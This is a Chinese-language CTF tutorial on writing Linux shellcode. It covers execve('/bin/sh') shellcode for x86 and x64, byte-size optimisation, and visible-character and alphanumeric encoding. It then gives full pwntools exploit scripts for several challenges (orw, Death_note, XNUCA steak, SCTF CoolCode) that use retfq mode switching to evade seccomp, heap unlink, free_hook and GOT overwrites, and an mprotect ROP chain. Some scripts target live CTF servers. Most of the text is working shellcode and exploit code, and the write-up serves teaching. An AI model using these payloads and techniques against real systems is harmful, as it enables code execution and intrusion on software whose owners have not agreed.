什么是Shellcode:
shellcode是我们写入到程序的一段可执行代码,通过执行这串代码我们可以拿到靶机的shell,从而可以干你想干的事。不过现在的题目一般都对可以写入的位置做了限制,既可写不可执行。但如果是一道专门的shellcode题,则会在某一段加入可写可执行的权限,或则利用mprotect()或者_dl_make_stack_executable()改写某些区域的proc再执行。
32位的shellcode和64位的略有不同,这里我们先讲32位的shellcode。
x86:
我们先用C写一个调用shell的程序,其代码如下:
#include <stdio.h> #include <stdlib.h> int main() { execve("/bin/sh", 0, 0); return 0; }
编译成32位程序:gcc -m32 -g -o test1 test1.c,运行便可以拿到我们本机的shell。
我们调试一下看看是怎么调用execve()这个函数的。
这里我们进入到execve()函数里,发现是这样一串汇编代码:
执行后寄存器的值为:
我们可以发现再调用execve()函数之前,程序显示给相应的寄存器赋值,然后调用execve()函数。现在我们可以模仿这个调用机制来写相对应的汇编代码。
不过要注意的是,之前的是一个完整的C语言程序,但在shellcode中引入这么多头文件是不现实的,因此我们用int 80h系统调用(有关int 80h的知识读者可自行百度),再者写汇编时 “/bin/sh” 这个字符串需要我们手动压入栈中,写好的程序如下:
mov edx,0 mov ecx,0 push 0x68732f push 0x6e69622f mov ebx,esp mov eax,0xb int 0x80
编写一个测试程序如下:
// gcc main.c -m32 -z execstack -o main #include <stdio.h> int main() { void (*ptr)(); char buf[0x20]; puts("shellcode>>"); read(0, buf, 0x20); ptr = buf; ptr(); }
exp如下:
from pwn import * context.log_level = 'debug' context.arch = 'i386' p = process("./test") #gdb.attach(p) shellcode = asm(''' mov edx, 0 mov ecx, 0 push 0x68732f push 0x6e69622f mov ebx, esp mov eax, 0xb int 0x80 ''') info(disasm(shellcode)) p.sendafter("shellcode>> ", shellcode) p.interactive()
运行一下exp就可以拿到我们本机的shell。这里我们观察一下shellcode的十六进制机器码:
总共占29个字节,而且包含很多坏字符'x00',容易导致shellcode被截断失去作用。这时候我们就要对shellcode进行优化。
- mov edx, 0是对寄存器edx清零,占5个字节。xor edx, edx也是对edx寄存器清零,但是只占两个字节,因此我可以用xor指令进行替换
- 同理,把mov ecx, 0 替换为xor ecx, ecx
- mov eax, oxb其实是对寄存器eax低8位赋值,因此我们可以将其改为mov al, 0xb
优化后的shellcode为:
xor edx, edx xor ecx, ecx push 0x68732f push 0x6e69622f mov ebx, esp mov al, 0xb int 0x80
此时shellcode的大小变为20字节
另一种方法就是用mul指令来清零eax和edx,其代码如下:
mul ebx xor ecx, ecx mov al, 0xb push 0x0068732f push 0x6e69622f mov ebx, esp int 0x80
优化后的字节数也是20字节
x64:
同样,先写出一个完整的C程序观察如何调用shell,代码如下:
#include <stdio.h> #include <stdlib.h> int main() { execve("/bin/sh", 0, 0); return 0; }
编译运行并调试,有如下结果
然后模仿这个调用过程写出汇编代码:
mov rdx, 0 mov rsi, 0 mov rdi, 0x68732f6e69622f push rdi mov rdi, rsp mov rax, 0x3b syscall
同样对shellcode进行优化,优化后的代码如下:
mov al, 59 push rbx push rbx pop rsi pop rdx mov rdi, 0x68732f6e69622f push rdi push rsp pop rdi syscall
题外:几个有用的命令
nasm -f elf64 shellcode.asm
ld -m elf_x86_64 -o shellcode shellcode.o
例题:
限制字符范围,禁用execve和open
查看题目保护:
用IDA分析程序时发现有禁用系统调用,如下:
且限制输入的字符ascii在0x1f到0x7f,即只能输入可见字符。
思路分析:
限制了系统调用不能getshell,所以采用orw。
由上图可知open函数是禁用的。这里我们先看看允许的系统调用号为多少。
由上可知,如果我们把程序改为32位运行,就可以使用open函数,之后又改为64位运行,就可以调用read、wirte函数。
修改程序运行模式需要用到retfq这个指令,这个指令有两步操作:ret和set cs。cs=0x23程序以32位模式运行,cs=0x33程序以64位模式运行。retfq这个指令参数是放在栈中,[rsp]为要执行的代码的地址,[rsp + 0x8]为0x23或0x33。需要的注意的是,在由64位变为32位后,rsp的值会变成非法值,故需先修复rsp的值在执行相应的代码
总体思路:
- mmap分配一段地址为4个16进制位的内存(如:0x40404040)。其有两个目的:生成地址可控的内存空间,方便用read写入code;防止程序变为32位后寄存器无法存储原本5个16进制位的地址。
- 用汇编实现read函数
- retfq改为32运行模式
- open打开flag文件
- retfq改为64位运行模式
- read
- wirte
踩坑记录:因为以前做到orw的题目用open打开后文件描述符一般都是3,所以这里我也用3作为参数,结果远程环境不是3,在这里浪费了好多时间
完成exp如下:
#-*- coding:utf8 -*- from pwn import * context(os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) DEBUG = 1 if DEBUG == 0: p = process('./shellcode') elif DEBUG == 1: p = remote('nc.eonew.cn', 10011) code_append = asm(''' push rcx pop rcx ''', arch = 'amd64', os = 'linux') # 用mmap分配一段内存空间 code_mmap = asm(''' /*mov rdi, 0x40404040*/ push 0x40404040 pop rdi /*mov rsi, 0x7e*/ push 0x7e pop rsi /*mov rdx, 0x7*/ push 0x37 pop rax xor al, 0x30 push rax pop rdx /*mov r8, 0*/ push 0x30 pop rax xor al, 0x30 push rax pop r8 /*mov r9, 0*/ push rax pop r9 /*syscall*/ push 0x5e pop rcx xor byte ptr [rbx+0x2c], cl push 0x5c pop rcx xor byte ptr [rbx+0x2d], cl /*mov rax, 0x9*/ push 0x39 pop rax xor al, 0x30 ''', arch = 'amd64', os = 'linux') code_read = asm(''' /*mov rsi, 0x40404040*/ push 0x40404040 pop rsi /*mov rdi, 0*/ push 0x30 pop rax xor al, 0x30 push rax pop rdi /*mov rdx, 0x7e*/ push 0x7e pop rdx /*mov rax, 0*/ push 0x30 pop rax xor al, 0x30 /*syscall*/ push 0x5e pop rcx xor byte ptr [rbx+0x4f], cl push 0x5c pop rcx xor byte ptr [rbx+0x50], cl ''', arch = 'amd64', os = 'linux') code_retfq = asm(''' /* 算出0x48 */ push 0x39 pop rcx xor byte ptr [rbx + 0x71], cl push 0x20 pop rcx xor byte ptr [rbx + 0x71], cl /* * 利用无借位减法算出0xcb */ push 0x47 pop rcx sub byte ptr [rbx + 0x72], cl sub byte ptr [rbx + 0x72], cl push rdi push rdi push 0x23 push 0x40404040 pop rax push rax ''', arch = 'amd64', os = 'linux') code_open = asm(''' /* open函数 */ mov esp, 0x40404550 push 0x67616c66 mov ebx, esp xor ecx, ecx xor edx, edx mov eax, 0x5 int 0x80 mov ecx, eax ''', arch = 'i386', os = 'linux') code_retfq_1 = asm(''' /* retfq */ push 0x33 push 0x40404062 /* 具体数字有待修改 */ retfq ''', arch = 'amd64', os = 'linux') code_read_write = asm(''' /* 修复栈 */ mov esp, 0x40404550 /* 有待修改 */ /* read函数 */ mov rdi, rcx mov rsi, 0x40404800 mov rdx, 0x7a xor rax, rax syscall /* write函数 */ mov rdi, 0x1 mov rsi, 0x40404800 mov rdx, 0x7a mov rax, 0x1 syscall ''', arch = 'amd64', os = 'linux') #gdb.attach(p, 'b * 0x4002eb c si') code = code_mmap code += code_append code += code_read code += code_append code += code_retfq code += code_append code1 = code_open code1 += code_retfq_1 code1 += code_read_write p.sendafter("shellcode: ", code) #pause() p.sendline(code1) p.interactive() p.close()
编写code时的一些小技巧:
1、用push、pop来给寄存其赋值 push rax pop rax 2、用寄存器代替操作数 xor byte ptr [rax + 0x40], 0x50 80 70 40 50 可用如下代码代替 push 0x50 6a 50 pop rcx 59 xor byte ptr [rax + 0x40], cl 30 48 40 3、清零某一寄存器可用如下代码 push 0x30 6a 30 pop rax 58 xor al, 0x30 34 30 4、尽量使用al、bl、cl而非dl 5、有时候交换两个寄存器的位置可以减小机器码值的大小
orw:
32位程序,题目为比较简单,没有字符限制,直接上exp:
#-*- coding:utf8 -*- from pwn import * context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) p = process('./orw') code = asm(''' /* open */ push 0 push 0x67616c66 mov ebx, esp /* 第一个参数的地址 */ xor ecx, ecx xor edx, edx mov eax, 5 /* 系统调用号 */ int 0x80 /* read */ mov ebx, eax /* 文件描述符 */ mov ecx, 0x0804a050 /* 写入数据的内存地址 */ mov edx, 0x20 /* 读取数据的长度 */ mov eax, 0x3 /* 系统调用号 */ int 0x80 /* write */ mov ebx, 1 /* 文件描述符 */ mov ecx, 0x0804a050 /* flag地址 */ mov edx, 0x20 /* 打印的数据长度 */ mov eax, 0x4 /* 系统调用号 */ int 0x80 ''', arch = 'i386', os = 'linux') #gdb.attach(p, 'b * 0x0804858a c si') p.sendafter("shellcode:", code + 'x00') p.interactive()
限制字符在[0-9]、[A-Z]:
题目源代码:
// gcc -m32 -z execstack -fPIE -pie -z now chall2.c -o chall2 int main() { char buf[0x200]; int n, i; n = read(0, buf, 0x200); if (n <= 0) return 0; for (i = 0; i < n; i++) { if(!((buf[i] >= 65 && buf[i] <= 90) || (buf[i] >= 48 && buf[i] <= 57))) // 0~9 A~Z return 0; } ((void(*)(void))buf)(); }
这个shellcode我们可以用工具生成,具体看博客
exp如下:
from pwn import * context.terminal = ['tmux', 'splitw', '-h'] p = process('./chall2') payload1 = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA" info(len(payload1)) p.send(payload1) p.interactive()
Death_note:
这题把字符限制在可见字符范围内,且输入的shellcode长度不得超过0x50。这个还是比较好编写的。具体的可用的指令如下:
1.数据传送: push/pop eax… pusha/popa 2.算术运算: inc/dec eax… sub al, 立即数 sub byte ptr [eax… + 立即数], al dl… sub byte ptr [eax… + 立即数], ah dh… sub dword ptr [eax… + 立即数], esi edi sub word ptr [eax… + 立即数], si di sub al dl…, byte ptr [eax… + 立即数] sub ah dh…, byte ptr [eax… + 立即数] sub esi edi, dword ptr [eax… + 立即数] sub si di, word ptr [eax… + 立即数] 3.逻辑运算: and al, 立即数 and dword ptr [eax… + 立即数], esi edi and word ptr [eax… + 立即数], si di and ah dh…, byte ptr [ecx edx… + 立即数] and esi edi, dword ptr [eax… + 立即数] and si di, word ptr [eax… + 立即数] xor al, 立即数 xor byte ptr [eax… + 立即数], al dl… xor byte ptr [eax… + 立即数], ah dh… xor dword ptr [eax… + 立即数], esi edi xor word ptr [eax… + 立即数], si di xor al dl…, byte ptr [eax… + 立即数] xor ah dh…, byte ptr [eax… + 立即数] xor esi edi, dword ptr [eax… + 立即数] xor si di, word ptr [eax… + 立即数] 4.比较指令: cmp al, 立即数 cmp byte ptr [eax… + 立即数], al dl… cmp byte ptr [eax… + 立即数], ah dh… cmp dword ptr [eax… + 立即数], esi edi cmp word ptr [eax… + 立即数], si di cmp al dl…, byte ptr [eax… + 立即数] cmp ah dh…, byte ptr [eax… + 立即数] cmp esi edi, dword ptr [eax… + 立即数] cmp si di, word ptr [eax… + 立即数] 5.转移指令: push 56h pop eax cmp al, 43h jnz lable <=> jmp lable 6.交换al, ah push eax xor ah, byte ptr [esp] // ah ^= al xor byte ptr [esp], ah // al ^= ah xor ah, byte ptr [esp] // ah ^= al pop eax 7.清零: push 44h pop eax sub al, 44h ; eax = 0 push esi push esp pop eax xor [eax], esi ; esi = 0
exp如下:
#-*- coding:utf8 -*- from pwn import * context(os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) #p = process('./death_note') p = remote('chall.pwnable.tw', 10201) def Add(index, content): p.sendlineafter('Your choice :', '1') p.sendlineafter('Index :', str(index)) p.sendafter('Name :', content) def Show(index): p.sendlineafter('Your choice :', '2') p.sendlineafter('Index :', str(index)) def Delete(index): p.sendlineafter('Your choice :', '3') p.sendlineafter('Index :', str(index)) #gdb.attach(p, 'b * 0x08048770 c b * 0x080487c0 b * 0x08048873 c 3 c 3 si') shellcode = asm(''' /* 计算/bin/sh 13 */ push 0x2b pop ecx sub byte ptr [eax+0x44], cl sub byte ptr [eax+0x48], cl /*计算ebx*/ push eax pop ecx xor al, 0x44 push eax pop ebx /* 计算int 0x80 */ push ecx pop eax push 0x40 pop ecx sub byte ptr [eax+0x37], cl push 0x43 pop ecx sub byte ptr [eax+0x37], cl push 0x60 pop ecx sub byte ptr [eax+0x38], cl push 0x70 pop ecx sub byte ptr [eax+0x38], cl /* 清零ecx, edx 9 */ push 0x40 pop eax xor al, 0x40 push eax pop ecx push eax pop edx push 0x4b pop eax xor al, 0x40 ''') payload = shellcode payload += 'x50'*13 payload += 'ZbinZsh ' Add(-19, payload) Delete(-19) p.interactive()
2018-XNUCA steak:
这道题不是单纯的编写shellcode的题目,这个题结合了堆利用、ROP、shellcode、IO_FILE等知识,是一道综合能力比较强的题目。
在用IDA分析时看到有prctl函数,所用先用seccomp工具查看禁用的系统调用。
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0003 0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0003: 0x35 0x00 0x01 0x000000c8 if (A < tkill) goto 0005 0004: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0005: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0007 0006: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0007: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0009 0008: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0009: 0x15 0x00 0x01 0x0000002a if (A != connect) goto 0011 0010: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0011: 0x15 0x00 0x01 0x0000002b if (A != accept) goto 0013 0012: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0013: 0x15 0x00 0x01 0x0000002c if (A != sendto) goto 0015 0014: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0015: 0x15 0x00 0x01 0x0000002d if (A != recvfrom) goto 0017 0016: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0017: 0x15 0x00 0x01 0x0000002e if (A != sendmsg) goto 0019 0018: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0019: 0x15 0x00 0x01 0x0000002f if (A != recvmsg) goto 0021 0020: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0021: 0x15 0x00 0x01 0x00000030 if (A != shutdown) goto 0023 0022: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0023: 0x15 0x00 0x01 0x00000031 if (A != bind) goto 0025 0024: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0025: 0x15 0x00 0x01 0x00000032 if (A != listen) goto 0027 0026: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0027: 0x15 0x00 0x01 0x00000035 if (A != socketpair) goto 0029 0028: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0029: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0031 0030: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0031: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0033 0032: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0033: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0035 0034: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0035: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0037 0036: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0037: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0039 0038: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0039: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0041 0040: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0041: 0x06 0x00 0x00 0x7fff0000 return ALLOW
这题我在看大佬博客时说因为禁用里fork调用,所以不能用getshell这个方法,目前我也每弄清除为啥。
接下来看下程序本身的漏洞。
在add函数中读入数据时最后字符串不会添加'x00'
在delete函数中free后没用清空指针
在edit函数中存在堆溢出
程序中还有其他漏洞,不过我们需要利用的就只有这几个。
思路分析:
- 程序中管理分配的chunk的数组地址是可控的,可以利用unlink来控制数组,从而达到任意地址写的目的
- 程序中没有leak函数,所以我们需要修改stdout表来泄漏动态链接表加载基址
- 向free_hook中写入puts函数泄漏栈地址(free函数对要释放的chunk的有严格的检查机制,这道题要把栈当作堆来释放,明显不符合chunk的格式,但在free时却不会报错,目前每理清楚)
- 向.bss节写入orw的代码
- mprotect修改.bss节可执行
完整的exp如下:
# -*- coding:utf8 -*- from pwn import * context(os = 'linux', log_level = 'debug') context.terminal = ['tmux', 'splitw', '-h'] p = process('./steak') libc = ELF('libc-2.23.so') def Add(size, buf): p.sendlineafter('> ', '1') p.sendlineafter('input buf size: ', str(size)) p.sendafter('input buf', buf) def Delete(index): p.sendlineafter('> ', '2') p.sendlineafter('input index: ', str(index)) def Edit(index, size, buf): p.sendlineafter('> ', '3') p.sendlineafter('input index: ', str(index)) p.sendlineafter('input size: ', str(size)) p.sendafter('input new buf: ', buf) def Copy(sindex, dindex, length): p.sendlineafter('> ', '4') p.sendlineafter('input source index: ', str(sindex)) p.sendlineafter('input dest index: ', str(dindex)) p.sendlineafter('input copy length: ', str(length)) def Edit1(index, size, buf): p.sendlineafter('>', '3') p.sendlineafter('input index:', str(index)) p.sendlineafter('input size:', str(size)) p.sendafter('input new buf:', buf) # unlink Add(0x80, 'A'*0x80) #0 Add(0x80, 'A'*0x80) #1 Add(0x80, 'A'*0x80) #2 Add(0x80, 'A'*0x80) #3 Add(0x80, 'A'*0x80) #4 payload = p64(0) + p64(0x81) + p64(0x6021a0) + p64(0x6021a8) + 'A'*0x60 + p64(0x80) + p64(0x90) Edit(3, 0x90,payload) Delete(4) # 修改stdout,leak payload = p64(0x6021a0) + p64(0x602180) Edit(3, 0x10, payload) Copy(1, 0, 0x8) payload = p64(0xfbad1800) + p64(0)*3 + 'x00' Edit(0, 0x21, payload) p.recv(0x18) libc_base = u64(p.recv(8)) - 0x3c36e0 libc.address = libc_base """ 将栈地址写入到索引为0的数组中 """ ############ 写入栈地址,为free函数泄漏栈地址作准备 ################# environ_addr = libc.symbols['environ'] payload = p64(0x6021a0) + p64(environ_addr) Edit1(3, 0x10, payload) ############ 向free_hook汇总写入puts ################### free_hook = libc.symbols['__free_hook'] puts_addr = libc.symbols['puts'] Edit1(3, 0x8, p64(free_hook)) Edit1(0, 0x8, p64(puts_addr)) ############# Delete(1),泄漏栈地址 ################ p.sendlineafter('>', '2') p.sendlineafter('input index:', str(1)) p.recvuntil(' ') stack_addr = u64(p.recv(6) + 'x00x00') info("stack_addr ==> " + hex(stack_addr)) ################# 在0x602500中写入retfq orw ############## retfq = 0x811dc + libc.address orw = asm(''' mov esp, 0x6029f0 /* open */ mov ebx, 0x602544 mov ecx, 0 mov edx, 0 mov eax, 5 int 0x80 /* read */ mov ebx, eax mov ecx, 0x602800 mov edx, 0x40 mov eax, 3 int 0x80 /* write */ mov ebx, 1 mov ecx, 0x602800 mov edx, 0x40 mov eax, 4 int 0x80 ''', arch = 'i386', os = 'linux') Edit1(3, 0x8, p64(0x602500)) Edit1(0, len(orw) + 4, orw + 'flag') ############ mprotect ################# mprotect = libc.symbols['mprotect'] info("mprotect ==> " + hex(mprotect)) stack_ret_addr = stack_addr - 0xf0 pop_rdi = 0x0000000000400ca3 pop_rsi = libc_base + 0x202e8 pop_rdx = libc_base + 0x1b92 rop = p64(pop_rdi) + p64(0x602000) rop += p64(pop_rsi) + p64(0x1000) rop += p64(pop_rdx) + p64(7) rop += p64(mprotect) rop += p64(retfq) rop += p64(0x602500) rop += p64(0x23) + p64(0x602500) # retfq的参数 Edit1(3, 0x8, p64(stack_ret_addr)) Edit1(0, len(rop), rop) p.sendlineafter('>', '5') p.interactive()
SCTF2020 CoolCode:
程序实现了Add、Delete、Show这三个函数,在Add函数中,输入的索引可以为负数,如下:
而sub_400BA6这个函数就是对输入的字符进行限制,也存在漏洞,如下:
这题限制只能用read、write、mmap、fstat这四个系统调用
思路分析:
- 利用Add函数中索引可以为负数修改got表中exit为ret指令绕过字符限制
- 利用Add函数中索引可以为负数修改got表中free函数为read函数(read函数需要自己用汇编实现)
- 调用free函数向.bss节中写入retfq、open、read、write
- 调用Show函数获取flag
完整exp如下:
#-*- coding:utf8 -*- from pwn import * context(os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) p = process('./CoolCode') elf = ELF('CoolCode') def Add(index, messages): p.sendlineafter('Your choice :', '1') p.sendlineafter('Index: ', str(index)) p.sendafter('messages: ', messages) def Show(index): p.sendlineafter('Your choice :', '2') p.sendlineafter('Index: ', str(index)) def Delete(index): p.sendlineafter('Your choice :', '3') p.sendlineafter('Index: ', str(index)) code_ret = asm(''' ret ''', arch = 'amd64') code_read = asm(''' xor rbx, rbx push rbx push rbx pop rcx pop rdi push 0x204f34ff pop rsi xor rsi, 0x202f11ff xor rdx, rdx push 0x7f pop rdx xor rax, rax syscall ret ''', arch = 'amd64') code_retfq = asm(''' push 0x23 push 0x204f34ff pop rsi xor rsi, 0x202f11ff push rsi retfq ''', arch = 'amd64', os = 'linux') code_open = asm(''' mov esp, 0x602700 /* open */ mov ebx, 0x602540 /* 待修改 */ xor ecx, ecx xor edx, edx push 5 pop eax int 0x80 push eax pop ebx ''', arch = 'i386', os = 'linux') code_retfq1 = asm(''' push 0x33 push 0x60251e retfq ''', arch = 'amd64') code_read_write = asm(''' /* read */ push rbx pop rdi push 0x602800 pop rsi push 0x50 pop rdx push 0 pop rax syscall /* write */ push 1 pop rdi push 0x602800 pop rsi push 0x50 pop rdx push 1 pop rax syscall ''', arch = 'amd64', os = 'linux') Add(-22, code_ret) # 修改exit的got表,绕过字符限制 Add(-37, code_read) # 修改free为read函数 Delete(0) payload = code_open + code_retfq1 + code_read_write + 'Aflag' p.send(payload) Add(-23, code_retfq) #修改_isoc99_scanf函数为retfq #gdb.attach(p, 'b * 0x400e14 c') Show(0) p.interactive()